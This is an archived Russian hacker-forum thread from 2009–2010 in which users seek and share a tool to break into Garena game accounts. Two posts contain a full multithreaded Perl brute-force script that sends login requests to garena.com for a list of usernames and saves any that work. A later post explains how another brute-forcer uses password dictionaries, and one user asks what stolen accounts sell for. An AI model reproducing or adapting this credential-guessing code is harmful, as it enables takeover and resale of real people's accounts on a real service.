Форумы на Хакер

Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.

Brut для гарены

Пользователи, просматривающие топик: none

Зашли как: Guest

Все форумы >> [В Сети] >> Brut для гарены

Имя

Сообщение

<< Старые топики Новые топики >>

Brut для гарены - 2009-03-28 19:29:19.080000

djscor2

Сообщений: 1
Оценки: 0
Присоединился: 2009-03-28 19:03:50.686666

всем привет, помогите сделать брут для гарены, у меня чета не получается )

вот написана на perl

#! /usr/bin/perl -w
 use IO::Socket;
 use threads;
 use threads::shared;
 use Fcntl ':flock';
 
 $pwd     =  shift || '123456'        ; #Пароль
 $threads =  shift || 100        ; #Кол-во потоков
 $ml      =  shift || 'nick.txt'        ; #Список акков
 $fname   = 'good.txt'              ; #Валидные
 
 
 my $i : shared = 0;
 my @trl;
 $| =1;
 
 printf "Brut\n";
 print "Loading...\n";
 
 open (ACS, "&lt;$ml") || die("Could not open acc list file!");
 my @acc : shared = &lt;ACS&gt;;
 chomp(@acc);
 close(ACS);
 
 $size = scalar @acc;
 print  "Loaded: ".$size." accs.\n";
 
 
 for(0..$threads) {$trl[$_] = threads-&gt;create(\&Brut, $_);}
 for(@trl) { $_-&gt;join; }
 
 sub Brut
 {
    while(@acc)
    {    
        {lock(@acc);$acc = shift @acc;}
        my $sock = sock();
        
        my $data =
        "-----------------------------18847261322183\n".
        "Content-Disposition: form-data; name=\"username\"\n\n".
        "$acc\n".
        "-----------------------------18847261322183\n".
        "Content-Disposition: form-data; name=\"password\"\n\n".
        "$pwd\n".
        "-----------------------------18847261322183\n".
        "Content-Disposition: form-data; name=\"loginSubmit\"\n\n".
        "Submit\n".
        "-----------------------------18847261322183--\n\n";
        
        my $re = 
        "POST http://www.garena.com/payment/index.php?c=VXNlcg==&a=bG9naW4= HTTP/1.1\n".
        "Host: www.garena.com\n".
        "User-Agent: Mozilla/4.0\n".
        "Connection: close\n".
        "Referer: http://garena.com\n".
        "Content-Type: multipart/form-data; boundary=---------------------------18847261322183\n".
        "Content-Length: ".length($data)."\n\n".$data;
    
        print $sock $re; 
        read($sock,my $answ,10000);
        
        if($answ =~ /cdb_auth/)
            {
                print "[+] $acc\n";
                open(FILE, "&gt;&gt;$fname") || die("Could not open $fname\n");
                flock(FILE, LOCK_EX);
                print FILE "$acc:$pwd\n";
                flock(FILE, LOCK_UN);
                close(FILE);
            }
        {lock($i);$i++;}
        print "&lt; ".sprintf("%.2f", ($i/$size)*100)."% &gt;\r";
        close($sock);
    }
 }
 
 sub sock {
 my $sock;
 do {
    $sock = new IO::Socket::INET 
        (
        PeerAddr =&gt; 'garena.com',
           PeerPort =&gt; 80, 
           PeerProto =&gt; 'tcp', 
           TimeOut =&gt; 10
        ) or print "Can't connect\n";
    } while (!$sock);
 return $sock;
 }

Post #: 1

RE: Brut для гарены - 2009-03-31 15:27:23.036666

PILIGRIMERT

Сообщений: 299
Оценки: 0
Присоединился: 2008-12-25 22:52:37.420000

уже давным давно все есть в паблике

Post #: 2

RE: Brut для гарены - 2009-10-11 08:35:44.420000

crayz cmd

Сообщений: 37
Оценки: 0
Присоединился: 2009-09-12 19:26:56.520000

#! /usr/bin/perl -w 
 use IO::Socket; 
 use threads; 
 use threads::shared; 
 use Fcntl ':flock'; 
 
 $pwd     =  shift || 'passtxt'        ; #Пароль 
 $threads =  shift || 100        ; #Кол-во потоков 
 $ml      =  shift || 'nick.txt'        ; #Список акков 
 $fname   = 'good.txt'              ; #Валидные 
 
 
 my $i : shared = 0; 
 my @trl; 
 $| =1; 
 
 printf "Brut\n"; 
 print "Loading...\n"; 
 
 open (ACS, "&lt;$ml") || die("Could not open acc list file!"); 
 my @acc : shared = &lt;ACS&gt;; 
 chomp(@acc); 
 close(ACS); 
 
 $size = scalar @acc; 
 print  "Loaded: ".$size." accs.\n"; 
 
 
 for(0..$threads) {$trl[$_] = threads-&gt;create(\&Brut, $_);} 
 for(@trl) { $_-&gt;join; } 
 
 sub Brut 
 { 
    while(@acc) 
    {    
        {lock(@acc);$acc = shift @acc;} 
        my $sock = sock(); 
        
        my $data = 
        "-----------------------------18847261322183\n". 
        "Content-Disposition: form-data; name=\"username\"\n\n". 
        "$acc\n". 
        "-----------------------------18847261322183\n". 
        "Content-Disposition: form-data; name=\"password\"\n\n". 
        "$pwd\n". 
        "-----------------------------18847261322183\n". 
        "Content-Disposition: form-data; name=\"loginSubmit\"\n\n". 
        "Submit\n". 
        "-----------------------------18847261322183--\n\n"; 
        
        my $re = 
        "POST http://www.garena.com/payment/index.php?c=VXNlcg==&a=bG9naW4= HTTP/1.1\n". 
        "Host: www.garena.com\n". 
        "User-Agent: Mozilla/4.0\n". 
        "Connection: close\n". 
        "Referer: http://garena.com\n". 
        "Content-Type: multipart/form-data; boundary=---------------------------18847261322183\n". 
        "Content-Length: ".length($data)."\n\n".$data; 
    
        print $sock $re; 
        read($sock,my $answ,10000); 
        
        if($answ =~ /cdb_auth/) 
            { 
                print "[+] $acc\n"; 
                open(FILE, "&gt;&gt;$fname") || die("Could not open $fname\n"); 
                flock(FILE, LOCK_EX); 
                print FILE "$acc:$pwd\n"; 
                flock(FILE, LOCK_UN); 
                close(FILE); 
            } 
        {lock($i);$i++;} 
        print "&lt; ".sprintf("%.2f", ($i/$size)*100)."% &gt;\r"; 
        close($sock); 
    } 
 } 
 
 sub sock { 
 my $sock; 
 do { 
    $sock = new IO::Socket::INET 
        ( 
        PeerAddr =&gt; 'garena.com', 
           PeerPort =&gt; 80, 
           PeerProto =&gt; 'tcp', 
           TimeOut =&gt; 10 
        ) or print "Can't connect\n"; 
    } while (!$sock); 
 return $sock; 
 }

tak izdelite

Post #: 3

RE: Brut для гарены - 2010-01-19 22:13:34.733333

Dozer_13

Сообщений: 43
Оценки: 0
Присоединился: 2007-10-14 16:59:40.556666

так тоже не работает. они изменили адреса запросов, простая смена адресов на существующие не помогает.
Может быть кто пофиксит?

Post #: 4

RE: Brut для гарены - 2010-01-21 14:45:48.550000

Re.Spawn

Сообщений: 16
Оценки: 0
Присоединился: 2009-06-07 23:59:23.790000

Берешь снифер,ловишь пакеты,идущие от гарены. Смотришь,че в них .как. Пишешь брут. Сам бы написал,но нет времени =( 2 сессии =(((((((

Post #: 5

RE: Brut для гарены - 2010-01-22 17:24:14.313333

ex_machine

Сообщений: 337
Оценки: 0
Присоединился: 2008-08-15 10:22:03.140000

Воспользуйся вот этим брутом GGBrut версия 1.1:
Перед запуском замените dic.txt на свой словарь для перебора, а в файл names.txt поместите логины.
В програме два режима поиска: "by pass" и "by name". В чем суть?
"by pass" - Берет первый пароль и прогоняет его для всех аккаунтов в файле names.txt… затем берет следующий пароль, и т.д…
"by name - Берет первый аккаунт и прогоняет его со всеми паролями, затем берет следующий аккаунт, и т.д…
Что такое Threads? Это количество одновременно проверяющих потоков.
От этого зависит скорость работы (смотря какой у кого инет). Вобщем экспериментируйте.
Как только пороль подобран, он дописывается в файл results.txt с дополнительной инфой об экспе и стране.
Найденные аккаунты автоматом удаляются из names.txt.
Возможность проверить по логину экспу и страну в окне программы.

Post #: 6

RE: Brut для гарены - 2010-01-23 15:27:11.543333

Dozer_13

Сообщений: 43
Оценки: 0
Присоединился: 2007-10-14 16:59:40.556666

ex_machine он уже с марта февраля как не робит), обидно, нужно-то всего пару норм акков, себе да братишке. по сколько их продают, в среднем?

Post #: 7

RE: Brut для гарены - 2010-01-23 16:36:44.726666

ex_machine

Сообщений: 337
Оценки: 0
Присоединился: 2008-08-15 10:22:03.140000

ну это тебе в купля-продажа

Post #: 8

Страниц: [1]

Все форумы >> [В Сети] >> Brut для гарены

Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.